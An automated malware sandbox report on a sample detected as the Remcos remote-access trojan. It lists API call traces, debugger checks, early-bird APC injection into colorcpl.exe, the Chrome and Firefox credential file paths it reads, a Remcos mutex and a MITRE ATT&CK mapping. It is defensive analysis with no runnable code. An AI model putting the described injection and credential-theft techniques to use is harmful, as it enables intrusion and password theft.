Source: C:\Users\user\Desktop\SEPTobn3BR.exe	Memory allocated: 2BAD000 memory commit 500199424	Jump to behavior
Source: C:\Users\user\Desktop\SEPTobn3BR.exe	Memory allocated: 2BDE000 memory commit 501014528	Jump to behavior
Source: C:\Users\user\Desktop\SEPTobn3BR.exe	Memory allocated: 2CD6000 memory commit 500006912	Jump to behavior
Source: C:\Users\user\Desktop\SEPTobn3BR.exe	Memory allocated: 2CD8000 memory commit 500015104	Jump to behavior
Source: C:\Users\Public\Libraries\Emxwenem.PIF	Memory allocated: 2BF0000 memory commit 500006912	Jump to behavior
Source: C:\Users\Public\Libraries\Emxwenem.PIF	Memory allocated: 2BF1000 memory commit 500178944	Jump to behavior
Source: C:\Users\Public\Libraries\Emxwenem.PIF	Memory allocated: 2C1C000 memory commit 500002816	Jump to behavior
Source: C:\Users\Public\Libraries\Emxwenem.PIF	Memory allocated: 2C1D000 memory commit 500199424	Jump to behavior
Source: C:\Users\Public\Libraries\Emxwenem.PIF	Memory allocated: 2C4E000 memory commit 501014528	Jump to behavior
Source: C:\Users\Public\Libraries\Emxwenem.PIF	Memory allocated: 2D46000 memory commit 500006912	Jump to behavior
Source: C:\Users\Public\Libraries\Emxwenem.PIF	Memory allocated: 2D48000 memory commit 500015104	Jump to behavior

Delayed program exit found

Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 5_2_0309E18D Sleep,ExitProcess,		5_2_0309E18D
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 10_2_0299E18D Sleep,ExitProcess,		10_2_0299E18D

Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: OpenSCManagerA,EnumServicesStatusW,GetLastError,EnumServicesStatusW,OpenServiceW,QueryServiceConfigW,GetLastError,QueryServiceConfigW,CloseServiceHandle,CloseServiceHandle,		5_2_030A86FE
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: OpenSCManagerA,EnumServicesStatusW,GetLastError,EnumServicesStatusW,OpenServiceW,QueryServiceConfigW,GetLastError,QueryServiceConfigW,CloseServiceHandle,CloseServiceHandle,		10_2_029A86FE

Source: C:\Windows\SysWOW64\colorcpl.exe	Window / User API: threadDelayed 5127	Jump to behavior
Source: C:\Windows\SysWOW64\colorcpl.exe	Window / User API: threadDelayed 4490	Jump to behavior
Source: C:\Windows\SysWOW64\colorcpl.exe	Window / User API: foregroundWindowGot 1753	Jump to behavior

Source: C:\Windows\SysWOW64\colorcpl.exe

API coverage: 4.8 %

Source: C:\Windows\SysWOW64\colorcpl.exe TID: 7944	Thread sleep count: 154 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\colorcpl.exe TID: 7944	Thread sleep time: -77000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\colorcpl.exe TID: 7948	Thread sleep count: 5127 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\colorcpl.exe TID: 7948	Thread sleep time: -15381000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\colorcpl.exe TID: 7948	Thread sleep count: 4490 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\colorcpl.exe TID: 7948	Thread sleep time: -13470000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Users\user\Desktop\SEPTobn3BR.exe	Code function: 0_2_02B858B4 GetModuleHandleA,GetProcAddress,lstrcpynA,lstrcpynA,lstrcpynA,FindFirstFileA,FindClose,lstrlenA,lstrcpynA,lstrlenA,lstrcpynA,	0_2_02B858B4
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 5_2_0309838E __EH_prolog,__CxxThrowException@8,FindFirstFileW,FindNextFileW,FindClose,FindClose,	5_2_0309838E
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 5_2_0309B28E FindFirstFileW,PathFileExistsW,FindNextFileW,FindClose,FindClose,	5_2_0309B28E
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 5_2_030AA01B FindFirstFileW,FindNextFileW,RemoveDirectoryW,SetFileAttributesW,DeleteFileW,GetLastError,FindClose,RemoveDirectoryW,FindClose,	5_2_030AA01B
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 5_2_030987A0 __EH_prolog,FindFirstFileW,FindNextFileW,FindClose,FindClose,	5_2_030987A0
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 5_2_030DBA59 FindFirstFileExA,	5_2_030DBA59
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 5_2_0309AA71 FindFirstFileA,FindClose,DeleteFileA,GetLastError,DeleteFileA,GetLastError,FindNextFileA,FindClose,	5_2_0309AA71
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 5_2_030A7AAB FindFirstFileW,FindNextFileW,FindNextFileW,	5_2_030A7AAB
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 5_2_03097848 __EH_prolog,FindFirstFileW,__CxxThrowException@8,FindNextFileW,FindClose,	5_2_03097848
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 5_2_030968CD FindFirstFileW,FindNextFileW,	5_2_030968CD
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 5_2_0309AC78 FindFirstFileA,FindClose,DeleteFileA,GetLastError,FindNextFileA,FindClose,FindClose,	5_2_0309AC78
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 10_2_0299B28E FindFirstFileW,PathFileExistsW,FindNextFileW,FindClose,FindClose,	10_2_0299B28E
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 10_2_0299838E __EH_prolog,__CxxThrowException@8,FindFirstFileW,FindNextFileW,FindClose,FindClose,	10_2_0299838E
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 10_2_029AA01B FindFirstFileW,FindNextFileW,RemoveDirectoryW,SetFileAttributesW,DeleteFileW,GetLastError,FindClose,RemoveDirectoryW,FindClose,	10_2_029AA01B
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 10_2_029987A0 __EH_prolog,FindFirstFileW,FindNextFileW,FindClose,FindClose,	10_2_029987A0
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 10_2_029A7AAB FindFirstFileW,FindNextFileW,FindNextFileW,	10_2_029A7AAB
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 10_2_029DBA59 FindFirstFileExA,	10_2_029DBA59
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 10_2_0299AA71 FindFirstFileA,FindClose,DeleteFileA,GetLastError,DeleteFileA,GetLastError,FindNextFileA,FindClose,	10_2_0299AA71
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 10_2_029968CD FindFirstFileW,FindNextFileW,	10_2_029968CD
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 10_2_02997848 __EH_prolog,FindFirstFileW,__CxxThrowException@8,FindNextFileW,FindClose,	10_2_02997848
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 10_2_0299AC78 FindFirstFileA,FindClose,DeleteFileA,GetLastError,FindNextFileA,FindClose,FindClose,	10_2_0299AC78

Source: C:\Windows\SysWOW64\colorcpl.exe

Code function: 5_2_03096D28 SetEvent,GetFileAttributesW,DeleteFileW,ShellExecuteW,GetLogicalDriveStringsA,DeleteFileA,Sleep,StrToIntA,CreateDirectoryW,

5_2_03096D28

Source: SEPTobn3BR.exe, 00000000.00000002.1420164294.00000000005BE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWp
Source: SEPTobn3BR.exe, 00000000.00000002.1420164294.000000000060A000.00000004.00000020.00020000.00000000.sdmp, colorcpl.exe, 00000005.00000003.2755615191.000000003121C000.00000004.00000020.00020000.00000000.sdmp, colorcpl.exe, 00000005.00000002.3812820641.000000003121C000.00000004.00000020.00020000.00000000.sdmp, colorcpl.exe, 00000005.00000003.1465318188.000000003121C000.00000004.00000020.00020000.00000000.sdmp, colorcpl.exe, 00000005.00000003.2755366865.000000003121C000.00000004.00000020.00020000.00000000.sdmp, colorcpl.exe, 00000005.00000002.3812571420.00000000311CA000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: Emxwenem.PIF, 00000007.00000002.1527852577.00000000007FD000.00000004.00000020.00020000.00000000.sdmp, Emxwenem.PIF, 0000000B.00000002.1609172246.000000000077E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll

Source: C:\Users\user\Desktop\SEPTobn3BR.exe	API call chain: ExitProcess graph end node	graph_0-65084
Source: C:\Windows\SysWOW64\colorcpl.exe	API call chain: ExitProcess graph end node	graph_5-47048
Source: C:\Users\Public\Libraries\Emxwenem.PIF	API call chain: ExitProcess graph end node

Anti Debugging

Contains functionality to check if a debugger is running (CheckRemoteDebuggerPresent)

Source: C:\Users\user\Desktop\SEPTobn3BR.exe

Code function: 0_2_02B9EBF0 GetModuleHandleW,GetProcAddress,CheckRemoteDebuggerPresent,

0_2_02B9EBF0

Source: C:\Users\user\Desktop\SEPTobn3BR.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\Public\Libraries\Emxwenem.PIF	Process queried: DebugPort	Jump to behavior
Source: C:\Users\Public\Libraries\Emxwenem.PIF	Process queried: DebugPort	Jump to behavior

Source: C:\Windows\SysWOW64\colorcpl.exe

Code function: 5_2_030C27AE IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

5_2_030C27AE

Source: C:\Users\user\Desktop\SEPTobn3BR.exe

Code function: 0_2_02B987A0 LoadLibraryW,GetProcAddress,FreeLibrary,

0_2_02B987A0

Source: C:\Users\user\Desktop\SEPTobn3BR.exe	Code function: 0_2_02C60939 mov eax, dword ptr fs:[00000030h]	0_2_02C60939
Source: C:\Users\user\Desktop\SEPTobn3BR.exe	Code function: 0_2_02C21D41 mov eax, dword ptr fs:[00000030h]	0_2_02C21D41
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 5_2_030D07B5 mov eax, dword ptr fs:[00000030h]	5_2_030D07B5
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 10_2_029D07B5 mov eax, dword ptr fs:[00000030h]	10_2_029D07B5

Source: C:\Windows\SysWOW64\colorcpl.exe

Code function: 5_2_030A0763 SetLastError,GetNativeSystemInfo,SetLastError,GetProcessHeap,HeapAlloc,SetLastError,

5_2_030A0763

Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 5_2_030C27AE IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	5_2_030C27AE
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 5_2_030C98AC IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	5_2_030C98AC
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 5_2_030C28FC SetUnhandledExceptionFilter,	5_2_030C28FC
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 5_2_030C2D5C SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	5_2_030C2D5C
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 10_2_029C27AE IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	10_2_029C27AE
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 10_2_029C98AC IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	10_2_029C98AC
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 10_2_029C28FC SetUnhandledExceptionFilter,	10_2_029C28FC
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 10_2_029C2D5C SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	10_2_029C2D5C

HIPS / PFW / Operating System Protection Evasion

Early bird code injection technique detected

Source: C:\Users\Public\Libraries\Emxwenem.PIF	Process created / APC Queued / Resumed: C:\Windows\SysWOW64\colorcpl.exe	Jump to behavior
Source: C:\Users\user\Desktop\SEPTobn3BR.exe	Process created / APC Queued / Resumed: C:\Windows\SysWOW64\colorcpl.exe	Jump to behavior
Source: C:\Users\Public\Libraries\Emxwenem.PIF	Process created / APC Queued / Resumed: C:\Windows\SysWOW64\colorcpl.exe	Jump to behavior

Allocates memory in foreign processes

Source: C:\Users\user\Desktop\SEPTobn3BR.exe	Memory allocated: C:\Windows\SysWOW64\colorcpl.exe base: 3090000 protect: page execute and read and write	Jump to behavior
Source: C:\Users\Public\Libraries\Emxwenem.PIF	Memory allocated: C:\Windows\SysWOW64\colorcpl.exe base: 2990000 protect: page execute and read and write	Jump to behavior
Source: C:\Users\Public\Libraries\Emxwenem.PIF	Memory allocated: C:\Windows\SysWOW64\colorcpl.exe base: 2C00000 protect: page execute and read and write	Jump to behavior

Queues an APC in another process (thread injection)

Source: C:\Users\user\Desktop\SEPTobn3BR.exe

Thread APC queued: target process: C:\Windows\SysWOW64\colorcpl.exe

Jump to behavior

Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: GetCurrentProcessId,OpenMutexA,CloseHandle,CreateThread,CloseHandle,Sleep,OpenProcess, svchost.exe		5_2_030A0B5C
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: GetCurrentProcessId,OpenMutexA,CloseHandle,CreateThread,CloseHandle,Sleep,OpenProcess, svchost.exe		10_2_029A0B5C

Source: C:\Windows\SysWOW64\colorcpl.exe

Code function: 5_2_030A75E1 mouse_event,

5_2_030A75E1

Source: C:\Users\user\Desktop\SEPTobn3BR.exe	Process created: C:\Windows\SysWOW64\colorcpl.exe C:\Windows\System32\colorcpl.exe	Jump to behavior
Source: C:\Users\Public\Libraries\Emxwenem.PIF	Process created: C:\Windows\SysWOW64\colorcpl.exe C:\Windows\System32\colorcpl.exe	Jump to behavior
Source: C:\Users\Public\Libraries\Emxwenem.PIF	Process created: C:\Windows\SysWOW64\colorcpl.exe C:\Windows\System32\colorcpl.exe	Jump to behavior

Source: colorcpl.exe, 00000005.00000002.3812685840.00000000311F5000.00000004.00000020.00020000.00000000.sdmp, colorcpl.exe, 00000005.00000003.2755366865.00000000311F5000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Program ManagerX7\
Source: colorcpl.exe, 00000005.00000002.3812685840.00000000311F5000.00000004.00000020.00020000.00000000.sdmp, colorcpl.exe, 00000005.00000003.2755366865.00000000311F5000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Program Manager
Source: colorcpl.exe, 00000005.00000002.3812571420.00000000311CA000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Program Manager!
Source: colorcpl.exe, 00000005.00000002.3812685840.00000000311F5000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Program Managerr\|
Source: colorcpl.exe, 00000005.00000003.2755366865.00000000311F5000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Program ManagerX7\d
Source: colorcpl.exe, 00000005.00000002.3812685840.0000000031205000.00000004.00000020.00020000.00000000.sdmp, colorcpl.exe, 00000005.00000003.2755715581.0000000031205000.00000004.00000020.00020000.00000000.sdmp, colorcpl.exe, 00000005.00000002.3812685840.00000000311F0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \|Program Manager\|
Source: colorcpl.exe, 00000005.00000002.3812685840.00000000311F5000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Program Manager=
Source: colorcpl.exe, 00000005.00000002.3812571420.00000000311CA000.00000004.00000020.00020000.00000000.sdmp, logs.dat.5.dr	Binary or memory string: [Program Manager]

Source: C:\Users\user\Desktop\SEPTobn3BR.exe

Code function: 0_2_02C13F66 cpuid

0_2_02C13F66

Source: C:\Users\user\Desktop\SEPTobn3BR.exe	Code function: GetModuleFileNameA,RegOpenKeyExA,RegOpenKeyExA,RegOpenKeyExA,RegOpenKeyExA,RegQueryValueExA,RegQueryValueExA,RegCloseKey,lstrcpynA,GetThreadLocale,GetLocaleInfoA,lstrlenA,lstrcpynA,LoadLibraryExA,lstrcpynA,LoadLibraryExA,lstrcpynA,LoadLibraryExA,	0_2_02B85A78
Source: C:\Users\user\Desktop\SEPTobn3BR.exe	Code function: GetLocaleInfoA,	0_2_02B8A798
Source: C:\Users\user\Desktop\SEPTobn3BR.exe	Code function: GetLocaleInfoA,	0_2_02B8A74C
Source: C:\Users\user\Desktop\SEPTobn3BR.exe	Code function: lstrcpynA,GetThreadLocale,GetLocaleInfoA,lstrlenA,lstrcpynA,LoadLibraryExA,lstrcpynA,LoadLibraryExA,lstrcpynA,LoadLibraryExA,	0_2_02B85B84
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: GetLocaleInfoA,	5_2_0309E2BB
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: EnumSystemLocalesW,	5_2_030DF216
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,	5_2_030DF2A3
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: EnumSystemLocalesW,	5_2_030DF130
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: EnumSystemLocalesW,	5_2_030DF17B
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: GetLocaleInfoW,	5_2_030DF723
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: GetUserDefaultLCID,IsValidCodePage,IsValidLocale,GetLocaleInfoW,GetLocaleInfoW,	5_2_030DF7F0
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetACP,	5_2_030DF61C
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: GetLocaleInfoW,	5_2_030DF4F3
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: EnumSystemLocalesW,	5_2_030D5914
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: GetLocaleInfoW,	5_2_030D5E1C
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: IsValidCodePage,_wcschr,_wcschr,GetLocaleInfoW,	5_2_030DEEB8
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: GetLocaleInfoA,	10_2_0299E2BB
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,	10_2_029DF2A3
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: EnumSystemLocalesW,	10_2_029DF216
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: EnumSystemLocalesW,	10_2_029DF130
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: EnumSystemLocalesW,	10_2_029DF17B
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetACP,	10_2_029DF61C
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: GetUserDefaultLCID,IsValidCodePage,IsValidLocale,GetLocaleInfoW,GetLocaleInfoW,	10_2_029DF7F0
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: GetLocaleInfoW,	10_2_029DF723
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: GetLocaleInfoW,	10_2_029DF4F3
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: EnumSystemLocalesW,	10_2_029D5914
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: IsValidCodePage,_wcschr,_wcschr,GetLocaleInfoW,	10_2_029DEEB8
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: GetLocaleInfoW,	10_2_029D5E1C
Source: C:\Users\Public\Libraries\Emxwenem.PIF	Code function: GetModuleFileNameA,RegOpenKeyExA,RegOpenKeyExA,RegOpenKeyExA,RegOpenKeyExA,RegQueryValueExA,RegQueryValueExA,RegCloseKey,lstrcpyn,GetThreadLocale,GetLocaleInfoA,lstrlen,lstrcpyn,LoadLibraryExA,lstrcpyn,LoadLibraryExA,lstrcpyn,LoadLibraryExA,	11_2_02C35A78
Source: C:\Users\Public\Libraries\Emxwenem.PIF	Code function: GetLocaleInfoA,	11_2_02C3A798
Source: C:\Users\Public\Libraries\Emxwenem.PIF	Code function: lstrcpyn,GetThreadLocale,GetLocaleInfoA,lstrlen,lstrcpyn,LoadLibraryExA,lstrcpyn,LoadLibraryExA,lstrcpyn,LoadLibraryExA,	11_2_02C35B83

Source: C:\Windows\SysWOW64\cmd.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\cmd.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Users\user\Desktop\SEPTobn3BR.exe

Code function: 0_2_02B89194 GetLocalTime,

0_2_02B89194

Source: C:\Windows\SysWOW64\colorcpl.exe

Code function: 5_2_030A95F8 GetComputerNameExW,GetUserNameW,

5_2_030A95F8

Source: C:\Windows\SysWOW64\colorcpl.exe

Code function: 5_2_030D66BF _free,_free,_free,GetTimeZoneInformation,WideCharToMultiByte,WideCharToMultiByte,_free,

5_2_030D66BF

Source: C:\Users\user\Desktop\SEPTobn3BR.exe

Code function: 0_2_02B8B714 GetVersionExA,

0_2_02B8B714

Source: C:\Windows\SysWOW64\colorcpl.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Yara detected Remcos RAT

Source: Yara match	File source: 13.2.colorcpl.exe.2c00000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.colorcpl.exe.3090000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.colorcpl.exe.2990000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.colorcpl.exe.2990000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.colorcpl.exe.3090000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 13.2.colorcpl.exe.2c00000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.SEPTobn3BR.exe.2b80000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000005.00000002.3812934475.00000000313BF000.00000004.00000010.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000002.1623286615.000000001ECB8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000002.1606949388.0000000002C00000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.3812571420.00000000311A8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.1526792578.0000000000758000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.3812685840.00000000311F0000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000003.2755366865.00000000311F0000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1449264347.000000007E8E0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.3812571420.00000000311CA000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1423795601.0000000002BE1000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.1526920917.0000000002990000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.3792390039.0000000003090000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: SEPTobn3BR.exe PID: 7648, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: colorcpl.exe PID: 7920, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: colorcpl.exe PID: 3232, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: colorcpl.exe PID: 6756, type: MEMORYSTR
Source: Yara match	File source: C:\ProgramData\remcos\logs.dat, type: DROPPED

Contains functionality to steal Chrome passwords or cookies

Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: \AppData\Local\Google\Chrome\User Data\Default\Login Data		5_2_0309A953
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: \AppData\Local\Google\Chrome\User Data\Default\Login Data		10_2_0299A953

Contains functionality to steal Firefox passwords or cookies

Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: \AppData\Roaming\Mozilla\Firefox\Profiles\	5_2_0309AA71
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: \key3.db	5_2_0309AA71
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: \AppData\Roaming\Mozilla\Firefox\Profiles\	10_2_0299AA71
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: \key3.db	10_2_0299AA71

Remote Access Functionality

Detected Remcos RAT

Source: C:\Windows\SysWOW64\colorcpl.exe	Mutex created: \Sessions\1\BaseNamedObjects\Rmc-3W4HX7	Jump to behavior
Source: C:\Windows\SysWOW64\colorcpl.exe	Mutex created: \Sessions\1\BaseNamedObjects\Rmc-3W4HX7	Jump to behavior
Source: C:\Windows\SysWOW64\colorcpl.exe	Mutex created: \Sessions\1\BaseNamedObjects\Rmc-3W4HX7	Jump to behavior

Yara detected Remcos RAT

Source: Yara match	File source: 13.2.colorcpl.exe.2c00000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.colorcpl.exe.3090000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.colorcpl.exe.2990000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.colorcpl.exe.2990000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.colorcpl.exe.3090000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 13.2.colorcpl.exe.2c00000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.SEPTobn3BR.exe.2b80000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000005.00000002.3812934475.00000000313BF000.00000004.00000010.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000002.1623286615.000000001ECB8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000002.1606949388.0000000002C00000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.3812571420.00000000311A8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.1526792578.0000000000758000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.3812685840.00000000311F0000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000003.2755366865.00000000311F0000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1449264347.000000007E8E0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.3812571420.00000000311CA000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1423795601.0000000002BE1000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.1526920917.0000000002990000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.3792390039.0000000003090000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: SEPTobn3BR.exe PID: 7648, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: colorcpl.exe PID: 7920, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: colorcpl.exe PID: 3232, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: colorcpl.exe PID: 6756, type: MEMORYSTR
Source: Yara match	File source: C:\ProgramData\remcos\logs.dat, type: DROPPED

Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: cmd.exe		5_2_0309567A
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: cmd.exe		10_2_0299567A

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	1 Valid Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	1 Deobfuscate/Decode Files or Information	1 OS Credential Dumping	2 System Time Discovery	Remote Services	11 Archive Collected Data	12 Ingress Tool Transfer	Exfiltration Over Other Network Medium	1 System Shutdown/Reboot
Credentials	Domains	Default Accounts	1 Command and Scripting Interpreter	1 Valid Accounts	1 Valid Accounts	2 Obfuscated Files or Information	211 Input Capture	1 Account Discovery	Remote Desktop Protocol	211 Input Capture	21 Encrypted Channel	Exfiltration Over Bluetooth	1 Defacement
Email Addresses	DNS Server	Domain Accounts	2 Service Execution	1 Windows Service	11 Access Token Manipulation	1 DLL Side-Loading	2 Credentials In Files	1 System Service Discovery	SMB/Windows Admin Shares	3 Clipboard Data	1 Non-Standard Port	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	1 Registry Run Keys / Startup Folder	1 Windows Service	11 Masquerading	NTDS	1 System Network Connections Discovery	Distributed Component Object Model	Input Capture	1 Remote Access Software	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	322 Process Injection	1 Valid Accounts	LSA Secrets	2 File and Directory Discovery	SSH	Keylogging	2 Non-Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
